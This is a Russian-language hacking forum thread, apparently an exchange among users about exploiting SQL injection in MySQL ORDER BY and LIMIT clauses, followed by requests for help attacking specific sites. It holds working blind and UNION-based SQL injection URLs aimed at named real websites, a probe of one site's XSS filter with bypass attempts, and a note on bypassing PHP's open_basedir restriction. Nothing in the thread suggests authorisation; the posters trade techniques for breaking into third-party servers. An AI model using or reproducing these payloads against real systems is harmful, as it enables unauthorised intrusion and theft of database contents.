чтож спасибо cr0w,jokester,Grey что помогли) смысл понятен. я к этому и стремился. я например сделал для себя открытие) а вы наверна просто забыли что таблица пустая) или может тоже увидите что нить новое) как я понял все упиралось в то что таблица была пустая и мускул раз нечего было сортировать и не обращает на ордер внимание) (таблица act_topup пустая) вот такая фигня) поэтому есть ли какая нить функция которая бы принудительно заставила его брать в расчет ордер? desc не помогает(
j0ker13 Ну а где тогда инъекция-то я не пойму? Сортировка по любому полю даёт ошибку, это не инъекция , а нерабочий запрос. У тебя нет рабочего запроса и влиять на запрос ты тоже никак не можешь. Его нельзя сделать рабочим. Ошибка будет всегда, если я правильно тебя понял. Тоесть даже при верном значении сортируемого поля сортировать будет нечего и база будет ругаться на то, что сортировать ей "не чего" и "не по чему". Или я опять что-то упустил?
2jokester ну смотри. поправь если где то неправ. запрос который я дал выше может выполнится и без меня. я могу только чтонить к нему подписать. после ордер. для примера два запроса(смысл схож с тем который был изначально)- выполнится нормально вылезет ошибка. запрос изначально рабочий. только таблица пустая да это так) но я могу в условии if сорвать запрос ошибкой) все упирается в то что таблица пустая. если там была хоть одна бы запись можно веть было бы написать эксплоит только вместо вставлять что то типа и получится блинд) все выше написанное не утверждение а домыслы) поправь если не трудно где ошибся)
То что ты показываешь выборку из mysql.user это понятно, она работает. Но она работает потому, что в таблице есть что сортировать. Если в таблице ничего нет , то мы не сможем получить нормальный запрос. Тоесть пофигу какое там поле сортировки(если сортировка именно по полю), база его не обрабатывает(точнее обрабатывает , но как-то очень странно ), она выбирает данные видит что их там нет и выкидывает Empty set Только если в таблице что-то есть. Иначе нет. Вообще на эту тему (ну или почти на эту) есть множество интересных задумок, но нет нормальной документации на mysql, стандарты она не держит и приходится всё проверять ручками. Так что то, что я пишу тут, это исключительно МОЙ взгляд, возможно и есть какое-то решение, но я его не вижу
2jokester ну смотри. как я понимаю такие конструкции разрабатывать через подзапросы или(и) функции но и их не везде вставить( так же есть запрос: select .. from .. order by id limit a,b a и b можно вставлять свои. но есть тока один вариант раскрутить это но там стоит ордер и юнион не прокатит. а в лимит, как я пытался, не вставить if() или можно как нить по другому?) как думаешь?
В лимите подзапросы и выражения запрещены (и как не странно это мускул держит) Юнион как ты правильно заметил туда не впихнёшь, он будет после ордера. И самое смешное, что в ордере по идее подзапросы тоже запрещёны, но разрабы mysql на это положили, и они там работают. Но это значит , что доков ты по этой теме не увидишь, их как-бэ нет, подзапросов в ордере , а значит и доков нет Соответственно хрен поймёшь как база обрабатывает подзапрос, нельзя сказать, что она его совсем игнорирует, т.к. если таблица не пустая то он обрабатывается. Тоесть что-то она проверяет, а вот с пустой таблицей я не смог заставить работать more than 1 row Такое ощущение, что в этом случае, базе плевать на то, что в подзапросе и она выкидывает Empty set Моё мнение что не выйдет, но в любом случае можешь поразвлекаться на локалке и посмотреть, т.к. не исключаю, что решение может и найтись ================== add Кстати, если сможешь заставить базу воспринимать то, что она возвращает из подзапроса в ордере как ИМЯ КОЛОНКИ, дай мне знать , мы об эту тему с некоторыми товарищами уже весь мозг вывернули Возвращает она строку, и никак не удаётся убедить её в том, что это колонка и по ней нужна сортировка.
jokester Code: mysql> SELECT @@version; +---------------------+ | @@version | +---------------------+ | 5.0.45-community-nt | +---------------------+ 1 row in set (0.00 sec) mysql> SELECT * from `users2`; +-------+----------+ | name | password | +-------+----------+ | admin | 348 | | user1 | 469 | | user2 | 1091 | | user3 | 2221 | | user4 | 5239 | | user5 | 909 | | cr0w | 3 | +-------+----------+ 7 rows in set (0.00 sec) mysql> SELECT * from `users2` ORDER BY (SELECT password); +-------+----------+ | name | password | +-------+----------+ | user2 | 1091 | | user3 | 2221 | | cr0w | 3 | | admin | 348 | | user1 | 469 | | user4 | 5239 | | user5 | 909 | +-------+----------+ 7 rows in set (0.00 sec) j0ker13 Я обратил внимание на то, что таблица пустая, но так и не понял, чего ты хотел в итоге получить тем своим запросом, поэтому решил оставить этот момент без комментария. add: Мне почему-то ранее думалось, что выражение в первом параметре ORDER BY будет выполняться даже если в таблице нет данных. Надо будет поэксперементировать с этим...
cr0w (SELECT password) Это не запрос знаешь-ли, так-же как и (select 1). Любая база увидев такое пошлёт тебя куда подальше. Это нестандартные фичи мускула, и работают они соответственно непонятно как Ты запросы вот такие погоняй : order by (select table_name from information_schema.tables limit 1) order by (select user from mysql.user limit 1)
cr0w, мне кажется что если в таблице нет данных, то после ORDER BY выражение не посчитается, из-за банально оптимизации. Т.е. база не будет выполнять то, что не имеет смысла изначально.
jokester Я, кстати, ведь и не писал там про подзапросы, а писал про выражения. Впрочем, "(SELECT password)" это как-никак, но подзапрос (неважно как он там в MySQL реализован) и это работает. add: Ок, если подумать, то вобщем-то согласен с тобой, что это не совсем подзапрос (хотя, в терминологии документации MySQL, это можно назвать "подзапросом"). А как сделать то, что ты хотел бы увидеть, я не знаю и подозреваю что это невозможно в принципе, тут даже голову ломать незачем. Qwazar Да, я понял уже.
Подскажите плиз, вот я нашел ошибку, что дальше можно сделать? Code: http://www.gangotri.ru/cs?action=itemlist&txid=' p.s. не пинайте сильно ногами, я новенький
Code: http://www.gangotri.ru/cs?action=itemlist&txid=1668+and+ascii(substring((select+table_name+from+information_schema.tables+limit+17,1),1,1))%3E1
На сайте ege.vrn.ru нарыл вот такое дело http://www.ege.vrn.ru/modules.php?name=Downloads&d_op=TopRated&ratenum=25%3Cfont%20color=red%3EnpuBeD!%3C/font%3E&ratetype=num В $_GET['ratenum'] фильтруется javascript, но html код пропускает. Перепробовал много вариантов, а вставить тотже алерт не получилось. Возможно ли заюзать дырку?
Хм. Странный фильтр какой-то стоит на сайте... <> - пропускает () - нет пропускает <img... - не пропускает <iframe... - не пропускает <font - пропускает <s cript> - пропускает <ja v ascri pt - пропускает <body+onload=j+a+vas+c+r+ipt:..> - пропускает
Каким запросом вывести инфу из бд? На сайте 6 бд! нужно из одной из них вывести инфу! Когда пишу ...3+from+users выдаёт ошибку( Сор если плохо объяснил)
Прочитай сообщение психа Вот что я к нему дополняю... ...+union+select+1,TABLE_SCHEMA,3+from+information_schema.tables+where+table_name=TABLE_NAME+limit+1,1-- Где табл нейм там имя таблицы в виде хекса (0x+hex) (лимит можно не ставить но я поставил) Он тебе выдает имя БД где хранится таблица твоя Дальше читай сообщение психа )
Так,я,кажется,разобрался.Обход open_basedir с помощью функции ini_restore() работает только в случае,если в php.ini или vhosts.conf с помощью php_admin_value был указан open_basedir или с помощью php_admin_flag указан safe mode,но там не писали про php.ini.Если open_basedir будет закомментирован,то он автоматически принимает значение no value(Что-то вроде NULLа),и функция ini_restore() также срабатывает. Проверено на PHP 5.2.6. В моём же случае open_basedir был указан(аж два): 1. /var/www/vhosts/site.ru/httpdocs 2. /tmp (символ ":" - разделитель) Спасибо за то,что пытались помочь.Похоже,что придётся искать другие пути...
http://www.xtrempc.ro/modules.php?id_articol=-8177+UNION+SELECT+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20&name=Articole&skin=0&subtip=Stire&tip=jocuri а дальше PHP Nuke не пускает запросы делать, какие предложения?